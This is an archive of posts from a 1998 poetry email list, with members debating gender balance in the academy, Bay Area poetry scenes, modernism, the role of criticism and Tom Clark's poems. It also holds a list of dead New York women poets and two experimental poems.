>"oeuvre" (the culturally- or communally-produced), and privileges the oeuvre.
>So, again: What, specifically & generally--above & beyond the writings on
>Kaufman, Women of the Beat Movement, etc. you've already done--can you do
>toward ensuring the oeuvre of the academy reflects gender & racial balance?
>
>Yours,
>
>Gary

well gary, there's a lot i can do (beyond trying to get readers to come) to try to get my institution to reflect a racial and gender balance. i can (and do) teach

courses that represent these interests. when i'm on admissions committees or in positions of power vis a vis hiring or admissions, i can (and do) advocate for this balance. when i serve on prelim or dissertation committees i can (and try to) influence the students' scholarship to include these matters. i exist in the academy, which means i am a woman in the academy, which means i represent different things to different people, hopefully some of them good. as for bringing specific poets out or trying to get 'em published, i can (and do) do that too. i can (and do) recommend projects i know of to the editors at the presses, both literary and academic, here. i could always do more, but as you may or may not know i am a person of limited energy. so i have to take it pretty easy. i do all the things i know to do, which i also believe to be within my capacity, and needless to say it's never enough. xo, md

↑ Index

17. dbkk
old/young academic/non etc
Sun 1 Feb 1998

> *Date: Fri, 30 Jan 1998 16:58:34 -0800*
> *From: LAURA MORIARTY <[redacted]>*
> *Subject: old/young academic/non etc*
>
> *I've been in the Bay Area forever (well since 73) and there has never not been a lot going on - Jimmy & Lucy's House of K, Big Allis, and Ottotole are among the mags that were edited by and/or published many in the supposedly absent generation - jeez some of my best friends are in that gen - Not to mention myself who at 45 and, in the *younger-person* anthologies, am the same age as some of the old ones, as well the same age as of some of the *younger* ones -*

Since I tend to agree with Laura about just about everything, I won't take issue with her‹and I do think that there are complex reasons for people to write or not to write, and that it can get tedious, people blaming others for their inabilities to succeed. When I moved to the Bay Area in the late 70s, which was really the beginning of my becoming a writer, feminists told me that the language poets were domineering patriarchs. The queer scene told me that the language poets were domineering homophobes. And I saw many a poet try to get into those lofty ranks and fail, like a moth throwing itself at a light. Many of them ended up feeling burned--some of them were associated with the very magazines, "Jimmy & Lucy's House of K, Big Allis, and Ottotole," that Laura notes were publishing at the time. [Dan Davidson came to all this later on--I'm talking the early 80s before Dan was on the writing scene.]

As far as who gained entry among the younger poets, looking back, there was a certain babe factor. Young attractive women such as Sandra Meyer and

Johanna Jordahl seemed to be swept up in the beneficient arms of the group (to the dismay, I was told, of some of its female members). It seems to me that it was the young male poets who had the hardest time of it--like Daddy was never going to say, "Come be my equal." No way.

Because I was developing a new kind of prose that I could exist within, I was mostly outside of this drama. When I first moved here, Tillie Olsen was much on the scene and there was endless discussion about her book _Silences_, which, for those of you not familiar with old feminist books, is about the reasons women stop writing, with lots of emphasis on Tillie's own life, how her role as Woman kept her from writing for years. There's this one story of hers that everybody read and talked about, about ironing her family's wash, and this idea that ironing somehow kept women from writing was a big image. A few years ago I was talking with someone who knew Tillie Olsen when she was young, and this person brought up the ironing story and said that Tillie never ironed, that her kids were always dirty with wrinkled clothes. My mother, who likes to go on about the condition of the kitchen floors of the various people she knows--the ultimate compliment being "so clean you could eat off of it"--my mother would have been shocked by Tillie Olsen.

Recently I was at a dinner with a number of the older writers here in SF and a few of the younger writers, and the olders writers were entertaining the younger writers with battle stories of the poetry wars of the late 70s, early 80s. Some of them were outrageously funny. Memory is retrospective and we all remember things differently. I remember things differently than Kevin, for example--and from Laura and Tom and Gary as well. And many of my "memories" are handed down to me from others' confidences. Katy's received version may be myth, but like all myths, there's some truth to it. I hope someday that a social historian will write the story of the poetry wars.

Dodie

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18. Kali Tal

Re: DEAD WOMEN POETS OF NYC & NYSTATE

Sun 1 Feb 1998

> *I'm working on a project involving dead women poets of NYC and NYState and would appreciate any names, locales, works, etc. (they don't all have to be Elizabeth Bishop & Marianne Moore).*
> *Reply can be sent to UB poetics or [redacted]. Thanks.*

Anne Reeve Aldrich 1866-1892
Anna Eliza (Schuyler) Bleecker 1752-1783
Catherine Esther Beecher 1800-1878

Naomi Lebrescu Bercovici 1883-1957
Gertrude Bloede [Stuart Sterne] 1845-1905
Elizabeth Estelle Bogart 1806-?
Anna Charlotte Lynch Botta 1815-1891
Mary Lydia Bolles Branch 1840-1922
Mary Dow Brine (c. 1800s)
Mary (Edwards) Bryan 1838-1913
Alice Cary 1820-1871
Ella Maria (Dietz) Clymer 1856-?
Nathalie Sedgwick Colby 1875-1942
Helen Gray Cone 1859-1934
Jane Elizabeth Dexter Conklin 1831-?
Harriet Maxwell Converse [Ya-ie-wah-no; Salome; Musidora] 1836-1903
Lucretia Maria Davidson 1808-1838
Mary Aigne de Vere [Madeline S. Bridges] d.1920
Mary Lowe Dickinson 1839-1914
Mary Elizabeth Mapes Dodge 1831-1905
Emma Catherine (Manly) Embury 1806-1863
Mary Galentine Fenner 1839-
Emily Ellsworth (Fowler) Ford 1826-1893
Julia (Boynton) Green 1861-?
Zadel Barnes (Buddington) Gustafson [Axel Carl Johan Gustafson] 1841-?
Sophia M. (Almon) Hensley 1866-?
Marietta Holley [Josiah Allen's Wife; Jemyma] 1836-1926
Lucy Hooper 1816-1841
Laura Winthrop Johnson 1825-?
Jennie E. Jones 1833-?
Magdalene Isadora la Grange 1864-?
Emma Lazarus 1849-1887
Estella Anna Blanche (Robinson) Lewis 1824-1880
Edith Willis Linn 1865-?
Frances Aymar Matthews fl.1910s
Alice Duer Miller 1874-1942
Marion Juliet Mitchell 1836-?
Marianne (Craig) Moore 1887-1972
Laura A. Sunderlin Nourse 1836-?
Emilay Sullivan Oakey 1829-1883
Elizabeth Martha Olmstead 1825-?
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Jane Luella Dowd Smith 1847-?
Jeanie Oliver Smith (c.1890s)
Mary Louise (Roley) Smith 1842-?
Anna Sophia (Winterbotham) Stephens [Jonathan Slick) 1810-1886
Mary Jane (Upshur) (Stith) Sturges [Fanny Fielding] 1828-?
Edith Matilda Thomas 1854-1925
Kate "Katrina" (Nichols) Trask 1853-1922
Frances "Fanny" Jane (Crosby) van Allstyne 1820-?
Mary (Westbrook) van Deusen 1829-?
Metta Victoria (Fuller) Victor [Seeley Register; The Singing Sibyl] 1831-1886
Lucy Hall (Walker) Washington 1835-?
Susan Archer (Talley) Weiss 1835-?
Ella (Wheeler) Wilcox 1850-1919
Emma C. Willard 1787-1876
Julia Evelyn (Ditto) Young 1857-?

Have fun....

Kali

↑ Index

19. R. Gancie
Modernism & PostModernism
Sun 1 Feb 1998

David. Thanks for the post and the oppotunity to elaborate. Both modernism and postmodernism for me legitimate themselves by presenting modes for addressing conditions which engage other segments of the culture, be they psychoanalytic, scientific, philosophical, political, sociological etc. This I find to be the chief value of both. What distinguishes modernism is its treatment of fragmentation and specialization that it saw rocking Europe during and after World War I by attempting to remake culture in the poet's image. The moderns attempted to either create a new synthesis and/or to reinvent what they perceived as the old one. In fact there are both of these elements in all the moderns because all the moderns implicitly understood the value of historical context. The problem became to discover a new world within the individual voice of each poet profound enough to compensate for the what was perceived as the

bankrupt condition of the world in which they found themselves. There is nothing poetically unique in that except that the moderns (at least the one's I'm thinking of here) used available texts, literally anything they felt relevant, as their actual materials. The thematic unity of David Jones' brilliant poems maintain a certain structural continuity as well by primarily limiting themselves to material from three historical sources. Olson on the other hand was at home with historical shards seeing quite accurately that history itself was only a jumble of fragments upon which any coherence was largely imposed. Pound interests me most, not only because the Cantos are probably the best of all the modernist works, but because even though he more or less invented the modernist mode, possibly coming to certain realizations as he edited Eliot's Ur-Wasteland, he was also ill-suited temperamentally to the task of stanching the fragmentation of a culture. Pound begins the Cantos in medias res almost as though coherence will someday present itself out of the mists like Ithaca to the wandering Greeks. I'm exaggerating a great deal here by ignoring the large poetic and intellectual experience Pound brought to the Cantos, but it still remains that he finally admitted that he could not make them cohere. It was through this ethos of failure of the poem's thematic structure that Pound made his most important discoveries and created the Cantos' most enduring passages. In the end Pound even more profoundly than Olson reflected our true historical condition by incorporating fragmentation and failure in a work of art which in so many ways paralleled the failure of his own personal history. Pound among all the modernists became an historical figure for better or worse and did it, in part, by resisting (to the point of madness) the unsculpturable lessons of his own chosen materials in the end succumbing, like the Cantos, to the very fragmentation he sought to overwhelm. By the time we get to the PostModernist, Olson is their true Penelope because we are prepared to accept the now overwhelmingly obvious condition of fragmentation. This is utterly legitimate; in fact it shows good sense. I'm just not certain that the role of poets is to show good sense. In this era of 'good sense', scientific method, modelling (not of the runway type), standardization, globalization, digitization etc., with all the dreams of the futurist's clean fascist lines realized, poets will have little or no role to play. They will have no role no matter how impeccably elegant their constructs, and no matter how much hermeneutical precision they achieve, no matter how fashionable they make formal and contextual randomness. Any solutions that I might propose would of course embody personal thematic materials. But as with all moderns this thematic material would not be restricted to my own navel. I have more than hinted at some of my concerns in other posts to this site and I intended to elaborate today but that would make this a very long post indeed. I would just like to say that the current attacks on some fifth generation academic heirs to some of the 'counterintuitive' conditions introduced over 80 years ago, should have presented an opportunity for poets too. That it

presented no opportunity for those poets that support sciences purportedly pragmatic and authoritarian side is no surprise; the juggernaut hardly needs them. Among poets, individuals versed in the counterarguments are virtually non-existent. Don Byrd's statement that "The only poetry that I know that attempts to face this urgency [e.g. ecological disaster] is sentimental and hopelessly naive" is true but not uncorrectable. Fish, Aronowitz, Hayles et al aren't great; but they've hit upon some legitimate concerns as you can judge from the vehement response among the establishment; an establishment that fears history so much that it positions itself so that it must ridicule and deny the philosophical ruminations of the physicists that birthed their very enterprise. Seems to have some elements of Greek tragedy with the postmodernist philosophers as chorus?---Carlo Parcelli P.S. I can connect the dots between formal systems and ecological disaster but it ain't pretty.

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20. Keston Sutherland

*from _At The Motel Partial Opportunity_*

Sun 1 Feb 1998

Strong eminence, unmistakable, fact-caked. You remember, breathlessly
we leapt to the shore; returning
breath demarcating our adventure. You propose for relief
a vascularised syntype, you on
accepting this alight. Stay put by whom. By you, stolid cheer in battery
hope for consequence. Nicely, in mini-bursts.

Flee the attempt, drive
its pedals into its fleeing floor, well I try but you see still raped
in pacted value-love, how
little trying loves a reciprocated proposal, what can you do. Keep your
wrist straight (not twist
in or out) and flat (not bent, down or up). Or enable a refreshed
sublime, glory never ending

as such merely transabdominally
fitted for our fate, high snugness. You try with repeated
involved intention, remember how carelessly
with life we sprinted, over to the secure donkeys, no
change, as yet; a shredlet
considered, but rejected with sincere amusement. Indomitable, value
ridden eminence to raze, even to joy;
yet furlongs wider than her hate stretches.

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21. Keston Sutherland
*from _Hate's Clitoris And Other Poems_*
Sun 1 Feb 1998

As life were or were not

put by distemper inter

mixed beyond claim or

my correct order, move to

remantle gently; be where

always and the turn from

always lately gives in

tact benefit. Still be

lied by deed the slight

purview beside

you says you

fit throughout, where

finally who knows, is us loved.

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22. Harold Rhenisch
Katy's short words
Sun 1 Feb 1998

Katy, epistemological breakthroughs aside, 'best works' aside, those short words are mighty interesting. For one, they're Anglo Saxon: house, boat, wood, rock, ice, water, man, woman, fire.... They are the things of this world, and were created in a far different time, out of far different impulses than current word-making. They share that, though: word-making. So, it's not that different at all. Now, whether or not one abandons that particular old sense of the world as discrete hunks of spirit and matter shuffled magically around, it is still there. The rest of the language has only acreted around it, as do the products of any innovative methodology we dream up. Those little old words can be approached and reseen with a new methodology. Celan does that. I'd say that was an equally fruitful path: to meet that vision head on.

cheers,

Harold

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23. Harold Rhenisch
Re: Indie Critics
Sun 1 Feb 1998

To Henry's

>>If any of you are poets - & I have my doubts - I would think you'd be looking for an indi critic too - somebody with taste, judgement, freedom, and an artistic instinct. The rest is baloney. <<

You bet.

Still, living in an almost perfect literary isolation in a vast land of pulp mills and, at the moment, frozen lakes, and, in a couple months, mud, I wouldn't mind if Henry's circus came to town for a few days.

cheers,

Harold Rhenisch
[redacted]

↑ Index

24. Mark Wallace
criticism rules
Sun 1 Feb 1998

I'd like to second Rod Smith's post about the role of criticism in the work of poets at the present moment--there's no doubt, whether Henry thinks it's a cop-out or not, that having to teach 4-5 courses a semester at three different universities, plus do editorial work on the side, in order to provide myself with a fairly spartan existence does cut into the time I have for writing of any kind--and I know many other poets who have similar circumstances. Nonetheless, having been guilty of a few critical pieces anyway, I'd like to raise some further points suggested by Rod's post and Henry's responses to that and other matters.

I think I would add to what Rod says that there is, among the poets he mentions, not simply a reticence about critical writing (although it is that in some cases) but actually a particular RESISTANCE to it that may be important to note. While I think what Juliana Spahr says about the greater attention to male language poets is certainly the case, I also think another related issue is that of the attention afforded to poets who write critically (whether in standard academic form or not) and those who do not do so. With some (but few) exceptions, larger reputations (in the academic world and elsewhere) have gone to

those language writers who also publish criticism. Note that, for instance, a poet like Susan Howe has a much larger academic reputation than those, like Carla Harryman, who do not. Indeed I think it's safe to say that for the most part, the attention outside the world of poets that language writing has received has been due more to its criticism than its poetry.

This fact, I think, is a direct function of the increasing lack of value placed by the academic world (and of course all of American culture) on anything other than criticism. Indeed, in retrospect one might say of language writing that its writers perceived the decreasing value of writing poetry at all without a critical defense of its value, although at the time it must have seemed that their use of philosphy, literary and cultural theory was allowing them to call into question much of the theoretically naive poetry of that time. But make no mistake: with few exceptions, almost all academic interest in language poetry has come from interest in its IDEAS, which the poetry, if you believe these takes, tends to serve as a kind of vehicle for--language poetry becomes ABOUT the materiality of language, an idea which critics can then discuss. Or poetry serves as a vehicle for discussing IDEAS about social inequality. Such ideas are of course valuable, but they are not the poetry itself, but rather extractions from its engagements, always themselves larger than simply the stating of ideas.

Just as one recent for instance, the recent back-and-forth over Ron's Philly Talks far exceeds any recent back-and-forth about Ron's poetry. Poetry itself doesn't per se DEBATE, and therefore, despite being the ostensible reason behind this list, nonetheless serves as an often very shadowy other to what actually goes on here.

All that said, I am not myself AGAINST criticism, and think that much of value can be done with it, as long that one recognizes that to engage in it is to engage with a cultural form that has increasing dominance over poetry. Some writers have responded to this dominance by alternative forms for criticism. But I think that for many of the poets whom Rod mentions, it does not go too far to say that they have actively rejected criticism of any form, as being, for the time in which they live, a coercive form of domination which they intend to resist. Does such a position go too far? Perhaps. Does it put them in the position of seeming "anti-theoretical"? Also perhaps, although I think not. So it's not simply lack of time, but in many cases REFUSAL to engage in a kind of writing that, whatever its value, simply seems too polluted by its connection to the active DENIGRATION of the writing they themselves love.

I myself have chosen to write criticism for at least two reasons. One is that there are things one worth saying, to me at least, in criticism's possible forms. And the other is, to be quite blunt, the recognition that if I do not express ideas in their dominant form, I may be a short term contract professor/editor for the

rest of my life, that is until I can figure out how to get out of the academic business entirely. Yet my own contradictory feelings on this subject have perhaps helped me to undermine myself, since when I do write criticism, I don't really use standard academic form, and so my work has no academic value. Still, I've had enough response from people to recognize that with few but significant exceptions, only poets respond to my poetry, while critical academics will sometimes respond to my ideas.

I continue to believe that the poet-critic is a viable role, one that many great people on this list, like A.L. Nielsen, play quite valuably. But whatever we may think THEORETICALLY about the fact that poetry can contain elements of criticism, and that criticism can contain elements of poetry (that is, that the boundary can be undermined), there is no doubt that academic systems (again with rare exceptions) treat this split as though it's absolute.

What form should a present moment poetics of criticism take? As many as necessary, it seems to me. Some of this criticism will contain promotion of the work it loves, some of it will not be academic close reading. Henry's attempts to pass off some kinds of criticism (those which deal with the work "directly," or which are closely critical of the writers with whom one is closest) won't hold, I don't think. I myself was glad that Steve Evans recent essay was not a close reading of poetry, and in fact I can think of VERY few literary close readings that don't quickly send themselves to the academic dustbin, my own included. In fact, if one were to take the relation between poetry and poetics as seriously as I believe we should, then that would mean that there might be as many forms for poetics as there would for poetry, indeed it might mean that the two terms in many cases would be no longer distinguishable.

But for such a thing to happen, I think that we have to admit that we live in a world where the "observer," encased in the abstractions of "authoritative" and standardized critical forms, represents a way for the bureaucratic maintenace of literature (read: English departments) to continue without its own forms, both of writing and of administrating, being called into any kind of significant question. And for the poet who sees that and says, well, screw criticism entirely, I think we should have a great deal of respect, even if its a position some of us would not in fact share.

Mark Wallace

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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25. Henry gould
Re: criticism rules
Sun 1 Feb 1998

Mark, while some of the points you make & those I've been stressing over the past week coincide (i.e. the dominance of "talk about" etc.), I get the feeling you haven't understood what I've been saying. The criticism I've been calling for is a different animal from "close reading" as you described it. You seem to think that there's either a positive review or a negative review. I'm suggesting that there's an intuitive, empathetic, informed, and independent criticism possible - which smells the existence of authentic poetry & points out its strengths & weaknesses, its attempts & motives in relation to its achievements. Is this fair to the poor little hard-workin' youngsters just trying to write a lyric? Yes it is - it might push them towards a saltier concept of their OWN real motives, talents, & originality. & it might just notice what they've been trying to do.

I'm sorry to hear you're joining Rod Smith in the whimper mode. I don't think the forebears we follow - name whatever good poet of the past you wish - would catch themselves whining about their lack of time. The poetry of the past is in your nearest public library. The poetry of the present is on your computer. The criticism - if you feel called to it - is in your bones. So is the art & the poetry. It flows there close to whatever life you can call your own. The Indie Crit I been asking for runs somewhere between the bought-out academic mode you your-self debunked & the sub-critical chicanery of an unquestioning, unquestionable poetics. - Henry Gould

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26. Don Byrd
Re: DEAD WOMEN POETS OF NYC & NYSTATE
Sun 1 Feb 1998

It might be of interest that full texts of at least some of these poets can be found at the American Verse Project (http://www.hti.umich.edu/)

Kali Tal wrote:

> *I'm working on a project involving dead women poets of NYC and NYState and would appreciate any names, locales, works, etc. (they don't all have to be Elizabeth Bishop & Marianne Moore).*
> *Reply can be sent to UB poetics or [redacted]. Thanks.*
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> *Anna Eliza (Schuyler) Bleecker 1752-1783*
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> *Ella Maria (Dietz) Clymer 1856-?*
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> *Sophia M. (Almon) Hensley 1866-?*
> *Marietta Holley [Josiah Allen's Wife; Jemyma] 1836-1926*
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> *Ella (Wheeler) Wilcox 1850-1919*
> *Emma C. Willard 1787-1876*
> *Julia Evelyn (Ditto) Young 1857-?*
>
> *Have fun....*
>
> *Kali*

--
****

Don Byrd ([redacted], [redacted])
Department of English
State University of New York
Albany, NY 12222
[redacted] (work); [redacted] (home); [redacted] (fax)
The Little Magazine (http://www.albany.edu/~litmag/)
****

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27. lppl
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Sun 1 Feb 1998

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28. **louis stroffolino**
Re: criticism rules
Sun 1 Feb 1998

---

henry, rod didn't seem to be whimpering to me. chris

On Sun, 1 Feb 1998, Henry gould wrote:

> *Mark, while some of the points you make & those I've been stressing over the past week coincide (i.e. the dominance of "talk about" etc.), I get the feeling you haven't understood what I've been saying. The criticism I've been calling for is a different animal from "close reading" as you described it. You seem to think that there's either a positive review or a negative review. I'm suggesting that there's an intuitive, empathetic, informed, and independent criticism possible - which smells the existence of authentic poetry & points out its strengths & weaknesses, its attempts & motives in relation to its achievements. Is this fair to the poor little hard-workin' youngsters just trying to write a lyric? Yes it is - it might push them towards a saltier concept of their OWN real motives, talents, & originality. & it might just notice what they've been trying to do.*
>
> *I'm sorry to hear you're joining Rod Smith in the whimper mode. I don't think the forebears we follow - name whatever good poet of the past you wish - would catch themselves whining about their lack of time. The poetry of the past is in your nearest public library. The poetry of the present is on your computer. The criticism - if you feel called to it - is in your bones. So is the art & the poetry. It flows there close to whatever life you can call your own. The Indie Crit I been asking for runs somewhere between the bought-out academic mode you yourself debunked & the sub-critical chicanery of an unquestioning, unquestionable poetics.*
> *- Henry Gould*

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29. david bromige

Tom Clark's poems & his "Stalin as Linguist"

Mon 2 Feb 1998

I thank Carlo Parcelli for his second post, just read. What I want to say today has more reference to his prior post, of 1/30/98. It also refers to Dale Smith's praise of Tom Clark a couple weeks ago, and also to Joe Safdie's post of 1/23/98. Let me preface these comments by remarking that a day on the List is like a week in everyday life. So that, in responding to a post now 8 days old, I am carrying readers two months back, and I realize the chance that you-all still have the Tom Clark poems which Joe posted, is slim. But I am not about to copy them out again.

These 3 poems are #s 43,44,and 45 from a work called "Early Warning," unknown to me. I can see the attraction they hold out : they constitute an us-&-them world, where "they" are every bit as despicable as "they" are always known to be, cowardly, secretive and vindictive in their unjustness, and where each reader is invited to identify with the poet to form an "us" that is better than his "they." One is thus offered some thing to belong to, a superior thing where one's allies will be likewise superior.

Part of what is superior about the poet in these poems, is his attitude, made explicit in the lines "I'm/ (for instance) as ingenuous and naively trusting/ as your average Sudanese mercenary killer." One appreciates the twist of sense, which requires that one follow the syntax closely. Beyond that, one finds oneself in the presence (as it were) of "nobody's fool." a tough guy (albeit with a heart of gold--else we wouldn't be liking him) a bit like Bogart or Bukowski.

Elsewise, there is the wit of analogy that delivers us to this bathetic present after a quick whip around the corners of a Malebolge (or so I feel); there are attractive passages where sound draws attention to meaning (the way "clones" recalls "drone" and picks up on the "stones" and "bones" from lines immediately previous) and by this process provides a further guarantee that this poet has an ear--is listening to his lines as they unfold, is _not_ asleep at the wheel.

There is also the thrill, at watching the lid ripped off this particular can of worms. Ah, so just as we suspected, poets are as bad or worse than the rest of this wicked world! And here's a real poet telling us this!

But my surrender to these poems doesn't last long. They lack, for one thing, a sense of history. Poets have been banding together against one another for millenia, so what's fresh about this content to excuse the traditionalist form?

More of an objection, however, lodges in the wried logic. There is nothing I can find in the poem to ironize that one instance of "I"--I take the poet himself, Tom Clark, to be speaking, to be wanting to be heard speaking Tom Clark's mind.But

Tom Clark is known to be (however relatively) a succesful writer, with dozens of books from distinguished houses. "To survive in the 'arts' you've got to be a belonger." Well, Tom Clark has survived, so to what does he belong, to which "school,...club,...cell,...lodge,...party...[or] police force" does Tom Clark owe his survival?

His answer might lie in the "outsider" category. I cannot see how, in the dog-eat-dog world Clark depicts, this category is in any way superior or transcendent. How do these lines escape being as self-serving as anything that might be produced from "school, club, cell, lodge, party, police force" or cabal?

It is not that I altogether disagree with his picture. It is rather that Tom Clark is no less a cannibal canine than the next man or woman. Despite his apparent admission of this, "to relate to history not forgetting the mistake of those who'd evade it," I do not find I can exit these 3 poems without feeling that Clark believes that he can, and has evaded it. While feeling, myself, that he has not. Because he cannot. Because (as he implies) none of us can.

Here I refer my reader to Carlo Parcelli's post of 1/30/98, to his mention of "position/momentum paradox" and "influence of the observer upon the observed." And to what he deduces from these physico-philosophical quandaries : "every participant in the current debate is subject to these limitations [.]" I do not believe it is enough to acknowledge this truth then to proceed as though nothing was altered because of it. It is a truth that calls for constant attention. It explodes the us/them construction, _no matter the empirical persistence of such divisiveness_ . Both Tom and I (as any of you) being subject to these limits, I ask him, "Why do you create a world of attitude where you have always to be branded as 'distrustful, dangerously suspicious' as an 'outsider'--while holding down an inside post with Black Sparrow Press? " It is 35 years since Bukowski was named 'Outsider of the Year' and neither he nor the press that presented him has any pretense to outsider status today. As a category, in any case, 'outsider' today must include so many as to be meaningless. It remains "someone to be," if it's elsewise too scary walking down the street, or boring or whatever : Fred Dobbs.

I do not find that the epiphany at the end of the 3rd of these poems is credible: "only makes me laugh and study/ ways to gain a new power over words/that are so stubborn, to steer them into/ clear and simple sentences is a good lifetime's work." It does not dissolve the paranoid portrait of hate and distrust and envy, or not persuasively to my reading. And while it is plain that Tom Clark is consumed by these vices, the poetry would be a big step closer to the greatness certain acolytes claim for it (not to mention Clark himself) were he to _assume_ and _own_ them.

I do not think we inhabit times that permit such linear renunciation of indulged miseries. You _are_ what you _describe_ . It's the Tarbaby none can escape. (I use my own knowledge of my own powers of denial, my own hypocrisies, my own envy and mortifcation at exclusion, to decode Tom Clark). No part of any poem is _more_ than any other part.

So I find these poems have a short life. They belong to a way of being that no longer works. I read them, as I read Bukowski, with some pleasure of recognition, but end up in nausea, at the impossible perspective : themºd, us=good. (Even usºd, them=good would be an improvement, but not for long; the entire divisiveness of these presumptions is deadly.)

Perhaps a quick look at Clark's essay published in _Partisan Review_ in 1987 (reworked from an article in _Poetry Flash_ in 1985) and called "Stalin as Linguist" may help clarify what I think Clark needs to do in order to become the poet and intellectual he surely wants to be, given his envy and resentment of intellectuals and most other poets (those not in his club).

He begins by citing Brecht : "To write poetry now, even on current events, means to withdraw into the ivory tower. It's as though one were practicing the art of filigree.There is something eccentric, cranky, obtuse about it. Such poetry is like the castaway's note in the bottle." Clark notes that Brecht issued this statement (a kind of renunciation, even in advance, of the contents of the _Selected Brecht_ I keep by this desk) in 1942. But Clark doesn't bring this up to qualify the renunciation; he doesn't point out that in the horror of civilized barbarism peaking in that year, such a sentiment might be heartfelt, but might be revisited and revised later. No, he says that "it has never been more applicable than at present."

And to whom then does Clark apply it? Not to all poets, although that was surely Brecht's meaning. Not to himself, although as one writing poetry since 1942, he is just as surely included in Brecht's denunciation as anyone else. No, he singles out just one group, and applies what Brecht meant as general anathema, only to the Language Poets. Thenceforth, Clark proceeds with his attack on _In the American Tree_ . ("Well," as Mandy Rice-Davies would have repeated, "He would, wouldn't he?" -- he had been excluded).

The kind of dodge by which Clark attmepts to enlist Brecht to attack Watten in this essay is all too common throughout his evaluative writing. It is dishonest, hypocritical, and bathetic. --Why does he need Brecht's posthumous assistance? Isn't Clark the equal of this situation without Brecht?

But of equal importance, this ploy discloses, again, Clark's fantasies of superiority. Brecht damned all poetry, but Clark nimbly escapes the Brechtean thunderbolt. Or he does, in the eyes of such readers as need to turn a blind eye to their master's blindnesses, in order to go on belonging to ...something, and believing

in ... someone. As though there weren't already their own intelligence to doubt, and their own intuitions to challenge, and the reading to be done from the list Parcelli supplies, if we are to make a poetry the measure of the going situation of mind and world. Believe in that! David

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30. david bromige

I see now that by forwarding this I can make it available again to the List so that anyone wishing to read Tom Clark's poems in relation to my recent posting may do so David

Mon 2 Feb 1998

> *X-Priority: 3*
> *MIME-Version: 1.0*
> *Date: Fri, 23 Jan 1998 15:12:17 -0800*
> *Reply-To: UB Poetics discussion group <[redacted]>*
> *Sender: UB Poetics discussion group <[redacted]>*
> *From: Safdie Joseph <[redacted]>*
> *Subject: Re: The new; Dale; langpo; tradition*
> *To: [redacted]*
>
> *It's hard to keep up lately -- did all these various and variously interesting posts about the new vis-a-vis langpo really start when David Bromige asked, innocently enough, if the list (January '98) were pro- or anti- langpo? Did David ever really answer my response to him last week before Dale (and, to a lesser extent, Henry) picked up the ball? I wonder what percentage of time people actually SPEND on the list -- an hour a day? More? This is the first chance I've had to respond to things in a week, other than furtive back-channels . . .*
>
> *Anyway, a few thoughts about:*
> *1) Langpo. Yes, I agree it's sad when people feel they have to make "large general statements," the distaste for which I suppose begat Dale's readings of the Watten stanza followed by alternate readings by cris and David and Joel. My question about that mini-thread is: when did a poem's capacity to generate multiple interpretations become something of value? Aren't we really going back to _Seven Types of Ambiguity_ here?*
>
> *I noticed that Ron Silliman, in an essay I generally admired in _ILS_ #4, had some kind words about the new critics, saying that their "reactionary aesthetic and political worldview" was the only thing really at issue; for many of us, though, the whole project of new criticism was fundamentally unsound (perhaps for reasons of "organicism") and langpo's early resemblance to that project generated suspicion. In the same issue, he says "an issue that continually lurks near the surface (and also near the heart) of almost all language*

writing is an ambivalence of intention, of intentionality as such."
Well, call me a philistine, but I'm a little tired of "texts" that
demand such response -- they become too much of an intellectual parlor
game and such practice reduces the poem to the level of a jigsaw puzzle.
When I think of what I VALUE in poetry, I think of information (and not
solely in terms of Don Byrd's valuable example of such); I think of the
skillful demolition of linguistic habit, the "dead, stinking dead,
usages of the past"; I think of music; I think of truth and beauty; but
I never, NEVER think "gee I like this because I think it means one thing
but other people might think it means another." (I thought of this while
listening to the news last night and hearing "suborning of perjury is
difficult to prove because conversations are abstract -- it's difficult
to say what they mean" And if CONVERSATIONS are abstract . . .)

So for me there's something attractive about what Henry calls
the poetry of plain statement (forgive me Henry if that's not exactly
what you said). Is there anyone on this list who doesn't REVERE early
Auden? As another example (and in answer to a request by David Bromige)
here's some stanzas from a long poem by Tom Clark, "Early Warning":

43
Driven together by a desire to contend
Knowing no life but that of rivalry
They continued to buy and sell each other's souls
Even in this enclave of fugitives
Though allegedly they were dedicated to poetry
Instead it was envy that motivated them
So that they resembled rabid dogs
Traveling in a pack with maximum infighting
The attention of the group turned instantly to any
Renegade who threatened to outdistance
The rest, and this outlaw was collectively attacked

44
Mutual reinforcement's the name of the game
to survive in the "arts" you've got to be a belonger
if not to a school, then to a club,
a cell, a lodge, a party, a police force,
only the party standard bearers
are awarded the laurels of the party
all non-belongers are branded "paranoid" --
distrustful, dangerously suspicious (i.e., wise
to the condition of being outsiders); I'm
(for instance) as ingenuous and naively trusting
as your average Sudanese mercenary killer.

45
There is no interpretation necessary.

> *You got to deal with the man the way*
> *the man going to deal with you. No hate*
> *but to relate to history not forgetting*
> *the mistake of those who'd evade it. Sticks*
> *and stones will certainly break my brittle*
> *bones but the stunted drone of the many*
> *poetry clones only makes me laugh and study*
> *ways to gain a new power over words*
> *that are so stubborn, to steer them into*
> *clear and simple sentences is a good lifetime's work.*
>
> *Qualifications positively leap to the fore. I'm not claiming this is one of Tom's best works; what I'm saying is that, for me, the lack of necessity to "interpret" is sometimes a pleasure in and of itself.*
>
> *2) The New. I think that the question "Is Ron's alphabet sequence really new?" is an ultimately degrading question. Shouldn't we be asking instead "is it GOOD?" People on this list have called it brilliant but still question its "newness" pedigree: this seems absurd! Granted, one's relation to The Tradition can be transgressive -- it's nice to assume that one would have been right there with Wordsworth and Coleridge in the _Lyrical Ballads_ speaking the real language of men, that one wouldn't have been among the Georgian poets Pound held up to scorn in the Imagist Manifesto; as frequently stated in another context, history is written by the winners. But for me, the anxiety of determining if one's work is "truly, truly new" is academic in the worst sense. That way lies fetishism. And again, it focuses attention (only) on the material text rather than the world and its complicated and complicating political environment that may have generated that text, the environment we all return to with hopefully-freshened senses and new understanding once we pick our eyes off the page.*
>
> *Jacques Debrot wrote not long ago about the "the mind's need and capacity for self-estrangement." Sorry, but it's all I can do not to feel estranged, and I don't think I'd turn to poetry first if I truly wanted to feel such. Much too long a post; my apologies to all for that.*

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31. **George Bowering**

Re: Indie Critics

Mon 2 Feb 1998

I cant figure out what the reference "indie critic" or "indi critic" is referring to. Does it mean a critic from India, or a critic of race cars?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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32. **maz881**
Re: missing generation
Mon 2 Feb 1998

